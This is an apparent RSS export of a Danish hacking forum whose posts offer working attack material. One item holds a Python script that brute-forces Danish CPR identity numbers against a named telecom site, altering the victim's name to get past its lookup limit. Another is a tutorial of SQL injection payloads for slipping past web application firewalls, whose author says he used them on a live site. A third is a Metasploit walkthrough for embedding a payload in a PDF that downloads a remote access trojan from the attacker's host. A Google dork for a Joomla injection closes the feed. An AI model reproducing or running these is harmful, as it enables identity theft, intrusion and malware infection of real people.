Det udnyttede jeg ved at lave et map med ascii chars også genere navne med kun én fejl i. Det vil sige at systemet ikke registrere at det er samme navn selvom det er.<br />
<br />
<br />
Nyd det, og lad nu være med at dele med andre end jer VIP's. <br />
Hvis folk kan finde ud af at holde det privat, kun for VIP's så gider man også dele noget en anden gang :)<br />
<br />
<br />
<pre class="line-numbers"><code class="language-python"><br />
import urllib, urllib2<br />
<br />
print "\n\nCPR Finder v 0.3 by Morph3s@shellsec for ShellSec VIP.\n\n"<br />
print "Programmeret en sen aften da en bruger anmodede det."<br />
print "Programmet er for educational purpose only og jeg, Morph3s, er ikke ansvarlig for misbrug"<br />
print "Videre distribution af programmet til andre end Shellsec VIP er forbudt og medfoerer permanent ban fra shellsec\n"<br />
<br />
<br />
<br />
name = raw_input('Indtast navnet paa den oenskede person(Etc. Mark Hansen):')<br />
bday = raw_input('Indtast deres foedselsdag i format DDMMYY(Etc. 150190):')<br />
gender = raw_input('Koennet paa personen(M for mand, K for kvinde):')<br />
<br />
print "Vi soeger nu efter: " + name<br />
print "Foedselsdag: " + bday<br />
print "Koen: " + gender<br />
<br />
corr = raw_input('Er dette korrekt?(j/n):')<br />
<br />
if "n" in corr:<br />
	print "Qutting"<br />
	exit(0)<br />
<br />
if "j" in corr:<br />
	print "Super! - Vi forstaetter!"<br />
<br />
url = 'https://www.greentel.dk/index.php?ajax=true'<br />
<br />
<br />
if "m" in gender:<br />
	num4 = {'1','3','5','7','9'}<br />
<br />
if "k" in gender:<br />
	num4 = {'0','2','4','6','8'}<br />
<br />
<br />
<br />
num1 = {'0', '1', '2', '3', '4','9'}<br />
num2 = {'0','1','2','3','4','5', '6', '7', '8', '9'}<br />
num3 = {'0','1','2','3','4','5', '6', '7', '8', '9'}<br />
charmap = ['!', '"', '#', '&#36;', '%', '&amp;', '(', ')', '*', '+',<br />
			',','-','.','/','0','1','2','3','4','5','6','7','8',<br />
			'9',':',';','&lt;','=','&gt;','?','@','[',']','^','_']<br />
count = 0<br />
indcount = 0;<br />
reacount = 0;<br />
<br />
namear = list(name)<br />
<br />
for a in num1:<br />
	for b in num2:<br />
		for c in num3:<br />
			for d in num4:<br />
				<br />
				## Name obfuscation to bypass limitation<br />
				for char in charmap:<br />
						<br />
					if len(name) == (indcount-1):<br />
						print "Not enough randomization. Add chars to charmap"<br />
						print reacount<br />
						exit(0)<br />
<br />
					if charmap.index(char) == count:<br />
						namear = list(name)<br />
						if namear[indcount]!= " ":<br />
							namear[indcount] = char<br />
						else:<br />
							indcount = indcount + 1<br />
						break<br />
					if count &gt;= len(charmap):<br />
						count = 0<br />
						indcount = indcount + 1<br />
						break	<br />
						<br />
					<br />
<br />
<br />
<br />
				## Validating through the use of modulu 11<br />
				numbers11 = list(bday+a+b+c+d)<br />
				modulus11 = [4,3,2,7,6,5,4,3,2,1]<br />
				trig = 0;<br />
				total = 0;<br />
				for y in range(0,10):<br />
					total += int(numbers11[y])*modulus11[y]<br />
<br />
				<br />
<br />
<br />
<br />
				# Verifies that modulu is correct. If it is, then send request<br />
				# - to site<br />
<br />
				if total%11 == 0:<br />
				<br />
					<br />
					reacount = reacount+1<br />
					print "Testing this CPR: " + bday + a + b + c + d<br />
					print "This is attempt number: " + str(reacount)<br />
					print "This is the name: " + "".join(namear)<br />
					count = count + 1<br />
				<br />
<br />
					##Setting up data and posting to site<br />
					values = {'up_ajax_action' : 'do_address_check',<br />
		          			  'cpr' : bday+a + b + c + d,<br />
		          			  'fullname' : "".join(namear),<br />
		                          '13246578' : '' }<br />
					data = urllib.urlencode(values)<br />
					req = urllib2.Request(url, data)<br />
					response = urllib2.urlopen(req)<br />
					<br />
					the_page = response.read()<br />
					print the_page<br />
<br />
					if "firstname" in the_page:<br />
						the_page = response.read()<br />
						print "Found the info!"<br />
						exit(1)<br />
						<br />
					<br />
					<br />
<br />
print "It took " + str(reacount) + " tries!"<br />
</code></pre>]]></description>
			<content:encoded><![CDATA[<span style="color: #FF4500;" class="mycode_color">NOTE: Dette er en gammel VIP tråd som jeg har oprettet her fordi den ikke længere virker. Dog kan folk stadig se på den for educational purpose</span><br />
<br />
Jeg har kodet denne Python CPR Finder. <br />
Den finder CPR numre på ca 1-5 minutter.<br />
Brug Python 2.x for at bruge det. <br />
<br />
Den side jeg kodede det til havde en limitation. Det var at man maks måtte have 2 opslag per navn. Dog måtte man have én fejl i navnet.<br />
Det udnyttede jeg ved at lave et map med ascii chars også genere navne med kun én fejl i. Det vil sige at systemet ikke registrere at det er samme navn selvom det er.<br />
<br />
<br />
Nyd det, og lad nu være med at dele med andre end jer VIP's. <br />
Hvis folk kan finde ud af at holde det privat, kun for VIP's så gider man også dele noget en anden gang :)<br />
<br />
<br />
<pre class="line-numbers"><code class="language-python"><br />
import urllib, urllib2<br />
<br />
print "\n\nCPR Finder v 0.3 by Morph3s@shellsec for ShellSec VIP.\n\n"<br />
print "Programmeret en sen aften da en bruger anmodede det."<br />
print "Programmet er for educational purpose only og jeg, Morph3s, er ikke ansvarlig for misbrug"<br />
print "Videre distribution af programmet til andre end Shellsec VIP er forbudt og medfoerer permanent ban fra shellsec\n"<br />
<br />
<br />
<br />
name = raw_input('Indtast navnet paa den oenskede person(Etc. Mark Hansen):')<br />
bday = raw_input('Indtast deres foedselsdag i format DDMMYY(Etc. 150190):')<br />
gender = raw_input('Koennet paa personen(M for mand, K for kvinde):')<br />
<br />
print "Vi soeger nu efter: " + name<br />
print "Foedselsdag: " + bday<br />
print "Koen: " + gender<br />
<br />
corr = raw_input('Er dette korrekt?(j/n):')<br />
<br />
if "n" in corr:<br />
	print "Qutting"<br />
	exit(0)<br />
<br />
if "j" in corr:<br />
	print "Super! - Vi forstaetter!"<br />
<br />
url = 'https://www.greentel.dk/index.php?ajax=true'<br />
<br />
<br />
if "m" in gender:<br />
	num4 = {'1','3','5','7','9'}<br />
<br />
if "k" in gender:<br />
	num4 = {'0','2','4','6','8'}<br />
<br />
<br />
<br />
num1 = {'0', '1', '2', '3', '4','9'}<br />
num2 = {'0','1','2','3','4','5', '6', '7', '8', '9'}<br />
num3 = {'0','1','2','3','4','5', '6', '7', '8', '9'}<br />
charmap = ['!', '"', '#', '&#36;', '%', '&amp;', '(', ')', '*', '+',<br />
			',','-','.','/','0','1','2','3','4','5','6','7','8',<br />
			'9',':',';','&lt;','=','&gt;','?','@','[',']','^','_']<br />
count = 0<br />
indcount = 0;<br />
reacount = 0;<br />
<br />
namear = list(name)<br />
<br />
for a in num1:<br />
	for b in num2:<br />
		for c in num3:<br />
			for d in num4:<br />
				<br />
				## Name obfuscation to bypass limitation<br />
				for char in charmap:<br />
						<br />
					if len(name) == (indcount-1):<br />
						print "Not enough randomization. Add chars to charmap"<br />
						print reacount<br />
						exit(0)<br />
<br />
					if charmap.index(char) == count:<br />
						namear = list(name)<br />
						if namear[indcount]!= " ":<br />
							namear[indcount] = char<br />
						else:<br />
							indcount = indcount + 1<br />
						break<br />
					if count &gt;= len(charmap):<br />
						count = 0<br />
						indcount = indcount + 1<br />
						break	<br />
						<br />
					<br />
<br />
<br />
<br />
				## Validating through the use of modulu 11<br />
				numbers11 = list(bday+a+b+c+d)<br />
				modulus11 = [4,3,2,7,6,5,4,3,2,1]<br />
				trig = 0;<br />
				total = 0;<br />
				for y in range(0,10):<br />
					total += int(numbers11[y])*modulus11[y]<br />
<br />
				<br />
<br />
<br />
<br />
				# Verifies that modulu is correct. If it is, then send request<br />
				# - to site<br />
<br />
				if total%11 == 0:<br />
				<br />
					<br />
					reacount = reacount+1<br />
					print "Testing this CPR: " + bday + a + b + c + d<br />
					print "This is attempt number: " + str(reacount)<br />
					print "This is the name: " + "".join(namear)<br />
					count = count + 1<br />
				<br />
<br />
					##Setting up data and posting to site<br />
					values = {'up_ajax_action' : 'do_address_check',<br />
		          			  'cpr' : bday+a + b + c + d,<br />
		          			  'fullname' : "".join(namear),<br />
		                          '13246578' : '' }<br />
					data = urllib.urlencode(values)<br />
					req = urllib2.Request(url, data)<br />
					response = urllib2.urlopen(req)<br />
					<br />
					the_page = response.read()<br />
					print the_page<br />
<br />
					if "firstname" in the_page:<br />
						the_page = response.read()<br />
						print "Found the info!"<br />
						exit(1)<br />
						<br />
					<br />
					<br />
<br />
print "It took " + str(reacount) + " tries!"<br />
</code></pre>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Hvordan man omgår WAF.]]></title>
			<link>https://www.shellsec.pw/traad-hvordan-man-omgaar-waf</link>
			<pubDate>Tue, 03 Dec 2013 23:57:03 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-hvordan-man-omgaar-waf</guid>
			<description><![CDATA[I dag vil jeg skrive om hvordan man kan bypass WAF filtre.<br />
 <br />
Før du går i gang SKAL du have en viden i SQLi .<br />
 <br />
Så lad os starte ..<br />
 <br />
Hvad er WAF eller Web Application Firewall ?<br />
- En webapplikation firewall ( WAF ) er en appliancen , server plugin, eller filter, der anvender et sæt regler til en HTTP- samtale. Generelt dækker disse regler over nogle fælles angreb såsom cross-site scripting (XSS ) og SQL Injection. Ved at tilpasse reglerne til din application, kan mange angreb identificeres og blokeres.<br />
 <br />
 <br />
Nogle website bruger WAF -filter.<br />
Hvis du har fundet en vuln websteder, der har WAF og du forsøge at injecte et Uinon baseret forespørgsel og den forspørgsel ikke er acceptabelt vil der forkomme en 403 fobidden eller Web Application Firewall advarsel.. Det betyde at forespørgslen eller syntaks, som du injecter er der et  WAF-filter ellers er det  Blokeret af WAF .<br />
 <br />
Ok nu her er nogle metode til at omgå WAF filtre.<br />
 <br />
1 ) Kommentarer :<br />
 <br />
SQL comments er en velsignelse for os SQL injections. De giver os mulighed for at omgå en masse af de begrænsninger som web-applikation firewalls, sætter til at dræbe visse SQL-sætninger, som bruges af hackeren til at udføre, angreberns SQL injection. Nogle comments i SQL :<br />
 <br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>/ / , ? , / ** / , #, ? + , ? - , ;</code></div></div> <br />
2) Sag Ændring :<br />
 <br />
Nogle WAF's vil kun blokere små angreb.<br />
Som vi kan se, kan vi kan nemt omgå dette ved lidt forandringer ? :<br />
Mulig Regex filter:<br />
 <br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>/union&#92;sselect/g<br />
id=1+UnIoN/**/SeLeCT, or with XSS -&gt; alert(1)</code></div></div> <br />
 <br />
3) Inline commands :<br />
 <br />
Nogle WAF s filters nøgleord som / union \ sselect /ig. Vi kan så omgå dette filter ved at bruge inline commands det meste af tiden, ved mere komplekse eksempler kræver det mere avancerede metode eks. tilføje SQL commands, der yderligere vil adskille de to ord til :<br />
 <br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>id=1/*!UnIoN*/SeLeCT</code></div></div> <br />
Læg mærke til udråbstegn. / * ! code * / Udråbstegnet udfører vores SQL-sætning.<br />
Inline commands kan bruges i hele SQL-sætningen, så hvis tabel_navn eller information_schema bliver blokkeret af nogle filtreres kan vi bare tilføje flere inline commands. For eksempel, lad os sige et websites filtrer blokkere følgende union,where, table_name, table_schema, =, and information_schema Det er 3 eksempler, og vi skal infiltere vores mål .<br />
Til dette ville vi gøre sådan her:<br />
 <br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()? -</code></div></div> <br />
Ovenstående kode vil omgå filteret. Bemærk at vi kan bruge "?like?" i stedet for "? = ?"<br />
En anden måde at bruge inline comemnts, er når alt synes ikke at virke, kan du prøve at slå applikationens Firewall fra ved at lave en SQL-command ved brug af variabler:<br />
 <br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>id=1+UnIoN/*&amp;a=*/SeLeCT/*&amp;a=*/1,2,3,database()? -</code></div></div> <br />
 <br />
Ovenstående kode skulle bypass Union+select filtere selv der hvor fælles inline commands ikke kan.<br />
 <br />
4) Buffer Overflow :/ Uventet input:<br />
 <br />
En masse WAFS er skrevet i C sprog, der gør dem tilbøjelige til at flyde over eller eller handle anderledes, når det er indlæst med en masse data. Her er en WAF der gør denes arbejde korrekt, men når jeg giver en stor mængde data tillades ondsindede forspørgelser, og de besvares derved også..<br />
 <br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A?s)+UnIoN+SeLeCT+1,2,version(),4,5,database(),use r(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23, 24,25,26<br />
,27,28,29,30,31,32,33,34,35,36?+</code></div></div> <br />
Det overstånede bypass virker.<br />
Jeg har selv lige brugt dette mod et websted nu her.<br />
 <br />
5 ) Erstattet søgeord ( preg_replace<br />
 <br />
Nogle gange vil WAF-filteret fjerne alle forspørgelser, og nøgleord. For eksempel, lad os sige, at vi har et filter, der erstatter "union select" med hvid mellemrum.<br />
Vi vil så kunne omgå filteret sådan her:<br />
 <br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>id=1+UNIunionON+SeLselectECT+1,2,3?</code></div></div> <br />
Som du kan se , når "union select" er blevet fjernet vil vores "UNION + SELECT" tage "union select"'s  plads og  med succes injecte vores forespørgsel:<br />
 <br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>UNION + SELECT +1,2,3 ?</code></div></div> <br />
6) Tegnsætning :<br />
 <br />
De fleste WAFs-filters vil afkode et  input , men nogle Wafs kan kun afkode et input engang så på den måde kan dobbelt kodning  omgå visse filtere.<br />
Eksempler på dobbelt kodning :<br />
 <br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users?+</code></div></div> <br />
Når håber i har fået lidt ud af det, jeg synes selv det har været lidt svært at skrive det så alle vil få noget ud af det, men har gjort mit bedste og med hjælp fra en ven til de rigtige formuleringer synes jeg det er gået fint.<br />
<br />
BTW Morph3s har på et tidspunkt sagt at han vil lave et tool til at omgå WAF :D<br />
<br />
Lycia Out..]]></description>
			<content:encoded><![CDATA[I dag vil jeg skrive om hvordan man kan bypass WAF filtre.<br />
 <br />
Før du går i gang SKAL du have en viden i SQLi .<br />
 <br />
Så lad os starte ..<br />
 <br />
Hvad er WAF eller Web Application Firewall ?<br />
- En webapplikation firewall ( WAF ) er en appliancen , server plugin, eller filter, der anvender et sæt regler til en HTTP- samtale. Generelt dækker disse regler over nogle fælles angreb såsom cross-site scripting (XSS ) og SQL Injection. Ved at tilpasse reglerne til din application, kan mange angreb identificeres og blokeres.<br />
 <br />
 <br />
Nogle website bruger WAF -filter.<br />
Hvis du har fundet en vuln websteder, der har WAF og du forsøge at injecte et Uinon baseret forespørgsel og den forspørgsel ikke er acceptabelt vil der forkomme en 403 fobidden eller Web Application Firewall advarsel.. Det betyde at forespørgslen eller syntaks, som du injecter er der et  WAF-filter ellers er det  Blokeret af WAF .<br />
 <br />
Ok nu her er nogle metode til at omgå WAF filtre.<br />
 <br />
1 ) Kommentarer :<br />
 <br />
SQL comments er en velsignelse for os SQL injections. De giver os mulighed for at omgå en masse af de begrænsninger som web-applikation firewalls, sætter til at dræbe visse SQL-sætninger, som bruges af hackeren til at udføre, angreberns SQL injection. Nogle comments i SQL :<br />
 <br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>/ / , ? , / ** / , #, ? + , ? - , ;</code></div></div> <br />
2) Sag Ændring :<br />
 <br />
Nogle WAF's vil kun blokere små angreb.<br />
Som vi kan se, kan vi kan nemt omgå dette ved lidt forandringer ? :<br />
Mulig Regex filter:<br />
 <br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>/union&#92;sselect/g<br />
id=1+UnIoN/**/SeLeCT, or with XSS -&gt; alert(1)</code></div></div> <br />
 <br />
3) Inline commands :<br />
 <br />
Nogle WAF s filters nøgleord som / union \ sselect /ig. Vi kan så omgå dette filter ved at bruge inline commands det meste af tiden, ved mere komplekse eksempler kræver det mere avancerede metode eks. tilføje SQL commands, der yderligere vil adskille de to ord til :<br />
 <br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>id=1/*!UnIoN*/SeLeCT</code></div></div> <br />
Læg mærke til udråbstegn. / * ! code * / Udråbstegnet udfører vores SQL-sætning.<br />
Inline commands kan bruges i hele SQL-sætningen, så hvis tabel_navn eller information_schema bliver blokkeret af nogle filtreres kan vi bare tilføje flere inline commands. For eksempel, lad os sige et websites filtrer blokkere følgende union,where, table_name, table_schema, =, and information_schema Det er 3 eksempler, og vi skal infiltere vores mål .<br />
Til dette ville vi gøre sådan her:<br />
 <br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()? -</code></div></div> <br />
Ovenstående kode vil omgå filteret. Bemærk at vi kan bruge "?like?" i stedet for "? = ?"<br />
En anden måde at bruge inline comemnts, er når alt synes ikke at virke, kan du prøve at slå applikationens Firewall fra ved at lave en SQL-command ved brug af variabler:<br />
 <br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>id=1+UnIoN/*&amp;a=*/SeLeCT/*&amp;a=*/1,2,3,database()? -</code></div></div> <br />
 <br />
Ovenstående kode skulle bypass Union+select filtere selv der hvor fælles inline commands ikke kan.<br />
 <br />
4) Buffer Overflow :/ Uventet input:<br />
 <br />
En masse WAFS er skrevet i C sprog, der gør dem tilbøjelige til at flyde over eller eller handle anderledes, når det er indlæst med en masse data. Her er en WAF der gør denes arbejde korrekt, men når jeg giver en stor mængde data tillades ondsindede forspørgelser, og de besvares derved også..<br />
 <br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A?s)+UnIoN+SeLeCT+1,2,version(),4,5,database(),use r(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23, 24,25,26<br />
,27,28,29,30,31,32,33,34,35,36?+</code></div></div> <br />
Det overstånede bypass virker.<br />
Jeg har selv lige brugt dette mod et websted nu her.<br />
 <br />
5 ) Erstattet søgeord ( preg_replace<br />
 <br />
Nogle gange vil WAF-filteret fjerne alle forspørgelser, og nøgleord. For eksempel, lad os sige, at vi har et filter, der erstatter "union select" med hvid mellemrum.<br />
Vi vil så kunne omgå filteret sådan her:<br />
 <br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>id=1+UNIunionON+SeLselectECT+1,2,3?</code></div></div> <br />
Som du kan se , når "union select" er blevet fjernet vil vores "UNION + SELECT" tage "union select"'s  plads og  med succes injecte vores forespørgsel:<br />
 <br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>UNION + SELECT +1,2,3 ?</code></div></div> <br />
6) Tegnsætning :<br />
 <br />
De fleste WAFs-filters vil afkode et  input , men nogle Wafs kan kun afkode et input engang så på den måde kan dobbelt kodning  omgå visse filtere.<br />
Eksempler på dobbelt kodning :<br />
 <br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users?+</code></div></div> <br />
Når håber i har fået lidt ud af det, jeg synes selv det har været lidt svært at skrive det så alle vil få noget ud af det, men har gjort mit bedste og med hjælp fra en ven til de rigtige formuleringer synes jeg det er gået fint.<br />
<br />
BTW Morph3s har på et tidspunkt sagt at han vil lave et tool til at omgå WAF :D<br />
<br />
Lycia Out..]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Ang. Buffer overflow]]></title>
			<link>https://www.shellsec.pw/traad-ang-buffer-overflow</link>
			<pubDate>Tue, 03 Dec 2013 23:01:11 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-ang-buffer-overflow</guid>
			<description><![CDATA[buffer overflow  <a href="https://www.shellsec.pw/showthread.php?tid=1271" target="_blank" rel="noopener" class="mycode_url">https://www.shellsec.pw/showthread.php?tid=1271</a><br />
Fin guide! Bør alle læse! :D<br />
JEg har nogle film som jeg engang for noget tid siden har hentet fra en admin på et andet forum jeg er meget aktiv på.<br />
Det er et helt fordrag ang. det :D<br />
I kan PM mig hvis i vil have dem. Det kan være lidt nemmere at se der :D]]></description>
			<content:encoded><![CDATA[buffer overflow  <a href="https://www.shellsec.pw/showthread.php?tid=1271" target="_blank" rel="noopener" class="mycode_url">https://www.shellsec.pw/showthread.php?tid=1271</a><br />
Fin guide! Bør alle læse! :D<br />
JEg har nogle film som jeg engang for noget tid siden har hentet fra en admin på et andet forum jeg er meget aktiv på.<br />
Det er et helt fordrag ang. det :D<br />
I kan PM mig hvis i vil have dem. Det kan være lidt nemmere at se der :D]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Metasploit - Backdoor en PDF fil med din server/rat]]></title>
			<link>https://www.shellsec.pw/traad-metasploit-backdoor-en-pdf-fil-med-din</link>
			<pubDate>Sat, 12 Oct 2013 14:05:37 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-metasploit-backdoor-en-pdf-fil-med-din</guid>
			<description><![CDATA[Credits til <a href="http://anonymouseverywhere.blogspot.dk/" target="_blank" rel="noopener" class="mycode_url">http://anonymouseverywhere.blogspot.dk/</a> , jeg har bare oversat guiden til Dansk!<br />
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Backfoor en PDF fil med din RAT</span></span><br />
<br />
Inden du stater, så hav en PDF fil og din fud server/rat liggende på dit skrivebord i en mappe (forklaring i slutningen af tråd)<br />
<br />
Download Metasploit direkte fra deres egen side her:<br />
<a href="http://www.rapid7.com/products/metasploit/download.jsp" target="_blank" rel="noopener" class="mycode_url">http://www.rapid7.com/products/metasploit/download.jsp</a><br />
<br />
Gratis key til Metasploit 32bit: Q2ND-3CHX-WGCL-EPY9<br />
<br />
Now let me explain how this exploit works. This is just a basic exploit that will open drops of a reverse_tcp meterpreter session on the victim when it's executed. Also, this exploit works while the PDF is open until it is migrated to another process. <br />
<br />
<span style="font-weight: bold;" class="mycode_b">Hvad du behøver for at fuldføre dette:</span><br />
En PDF fil (kan fx være en guide eller ebook eller lign)<br />
En FUD server (din RAT, husk det skal være 100% FUD)<br />
Og Metasploit<br />
<br />
<br />
<br />
Husk altid at tjek om din version af metasploit er up to date!<br />
Og husk aldrig at skriv store bogstaver i metasploit (A,B C osv, kun a,b,c). Ellers vil der kommer errors, så bare følg tutorialen og skriv som jeg skriver.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Note: </span><br />
Husk at have en PDF fil klar, og din server/rat uploaded til en filehost som supporter direkte links.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Nogle eksempler:</span><br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>http://ge.tt/&nbsp;&nbsp;- MIN EGEN FAVORIT!<br />
<br />
http://scan.psomasweb.org/<br />
http://sharesend.com/ <br />
http://www.directlink.tv<br />
http://www.filehold.net<br />
http://www.dlandexe.com<br />
http://www.wss-coding.com/upload<br />
http://www.botz.in<br />
http://kiwi6.com/<br />
http://zippyshare.com/<br />
http://drop.st/<br />
http://filetolink.com/<br />
http://freewayhost.net/<br />
http://largedocument.com/<br />
http://rghost.net/<br />
http://dox.abv.bg/files/share</code></div></div><br />
<br />
<span style="font-weight: bold;" class="mycode_b">Trin 1</span><br />
Først skal vi have infected vores PDF fil, før at gøre dette skal du åbne Metasploit's Console og skriv følgende:<br />
<br />
PHP Code:<br />
use exploit/windows/fileformat/adobe_pdf_embedded_exe <br />
<br />
<span style="font-weight: bold;" class="mycode_b">Trin 2</span><br />
Efter du har skrevet den command, skal du strukturer filerne, ved at skrive følgende:<br />
<br />
PHP Code:<br />
set payload windows/download_exec <br />
<br />
<span style="font-weight: bold;" class="mycode_b">Trin 3</span><br />
Nu skal du finde din PDF fils placering, og skrive følgende command:<br />
Dette er bare et eksempel: C:/Users/Owner/Desktop/example.pdf <br />
<br />
PHP Code:<br />
set INFILENAME C:/Users/Owner/Desktop/example.pdf <br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Trin 4</span><br />
Nu skal du bruge det direkte download link til din FUD server/rat, skriv følgende command:<br />
<br />
<br />
PHP Code:<br />
set url <a href="http://www.downloadminfil.nu/jegvilinfectedig" target="_blank" rel="noopener" class="mycode_url">www.downloadminfil.nu/jegvilinfectedig</a><br />
<br />
Nu du færdig!<br />
<br />
<br />
Metasploirt vil automatisk gemme den færdig backdoored fil samme sted som du havde placeret din PDF fil. (Derfor jeg sagde det var nemmest hvis du lagde alle filerne på dit skrivebord i en mappe inden start)]]></description>
			<content:encoded><![CDATA[Credits til <a href="http://anonymouseverywhere.blogspot.dk/" target="_blank" rel="noopener" class="mycode_url">http://anonymouseverywhere.blogspot.dk/</a> , jeg har bare oversat guiden til Dansk!<br />
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Backfoor en PDF fil med din RAT</span></span><br />
<br />
Inden du stater, så hav en PDF fil og din fud server/rat liggende på dit skrivebord i en mappe (forklaring i slutningen af tråd)<br />
<br />
Download Metasploit direkte fra deres egen side her:<br />
<a href="http://www.rapid7.com/products/metasploit/download.jsp" target="_blank" rel="noopener" class="mycode_url">http://www.rapid7.com/products/metasploit/download.jsp</a><br />
<br />
Gratis key til Metasploit 32bit: Q2ND-3CHX-WGCL-EPY9<br />
<br />
Now let me explain how this exploit works. This is just a basic exploit that will open drops of a reverse_tcp meterpreter session on the victim when it's executed. Also, this exploit works while the PDF is open until it is migrated to another process. <br />
<br />
<span style="font-weight: bold;" class="mycode_b">Hvad du behøver for at fuldføre dette:</span><br />
En PDF fil (kan fx være en guide eller ebook eller lign)<br />
En FUD server (din RAT, husk det skal være 100% FUD)<br />
Og Metasploit<br />
<br />
<br />
<br />
Husk altid at tjek om din version af metasploit er up to date!<br />
Og husk aldrig at skriv store bogstaver i metasploit (A,B C osv, kun a,b,c). Ellers vil der kommer errors, så bare følg tutorialen og skriv som jeg skriver.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Note: </span><br />
Husk at have en PDF fil klar, og din server/rat uploaded til en filehost som supporter direkte links.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Nogle eksempler:</span><br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>http://ge.tt/&nbsp;&nbsp;- MIN EGEN FAVORIT!<br />
<br />
http://scan.psomasweb.org/<br />
http://sharesend.com/ <br />
http://www.directlink.tv<br />
http://www.filehold.net<br />
http://www.dlandexe.com<br />
http://www.wss-coding.com/upload<br />
http://www.botz.in<br />
http://kiwi6.com/<br />
http://zippyshare.com/<br />
http://drop.st/<br />
http://filetolink.com/<br />
http://freewayhost.net/<br />
http://largedocument.com/<br />
http://rghost.net/<br />
http://dox.abv.bg/files/share</code></div></div><br />
<br />
<span style="font-weight: bold;" class="mycode_b">Trin 1</span><br />
Først skal vi have infected vores PDF fil, før at gøre dette skal du åbne Metasploit's Console og skriv følgende:<br />
<br />
PHP Code:<br />
use exploit/windows/fileformat/adobe_pdf_embedded_exe <br />
<br />
<span style="font-weight: bold;" class="mycode_b">Trin 2</span><br />
Efter du har skrevet den command, skal du strukturer filerne, ved at skrive følgende:<br />
<br />
PHP Code:<br />
set payload windows/download_exec <br />
<br />
<span style="font-weight: bold;" class="mycode_b">Trin 3</span><br />
Nu skal du finde din PDF fils placering, og skrive følgende command:<br />
Dette er bare et eksempel: C:/Users/Owner/Desktop/example.pdf <br />
<br />
PHP Code:<br />
set INFILENAME C:/Users/Owner/Desktop/example.pdf <br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Trin 4</span><br />
Nu skal du bruge det direkte download link til din FUD server/rat, skriv følgende command:<br />
<br />
<br />
PHP Code:<br />
set url <a href="http://www.downloadminfil.nu/jegvilinfectedig" target="_blank" rel="noopener" class="mycode_url">www.downloadminfil.nu/jegvilinfectedig</a><br />
<br />
Nu du færdig!<br />
<br />
<br />
Metasploirt vil automatisk gemme den færdig backdoored fil samme sted som du havde placeret din PDF fil. (Derfor jeg sagde det var nemmest hvis du lagde alle filerne på dit skrivebord i en mappe inden start)]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Joomla Kunena Component (index.php, search parameter) SQL Injection]]></title>
			<link>https://www.shellsec.pw/traad-joomla-kunena-component-index-php-search</link>
			<pubDate>Mon, 07 Oct 2013 23:38:21 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-joomla-kunena-component-index-php-search</guid>
			<description><![CDATA[<span style="color: #32CD32;" class="mycode_color"><div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">Joomla Kunena Component (index.php, search parameter) SQL Injection</span></div></span><br />
<br />
<iframe width="560" height="315" src="https://www.youtube.com/embed/BoGF29ed60M" frameborder="0" allowfullscreen></iframe><br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b">#Google Dork: inurl:index.php?option=com_kunena&amp;</span>]]></description>
			<content:encoded><![CDATA[<span style="color: #32CD32;" class="mycode_color"><div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">Joomla Kunena Component (index.php, search parameter) SQL Injection</span></div></span><br />
<br />
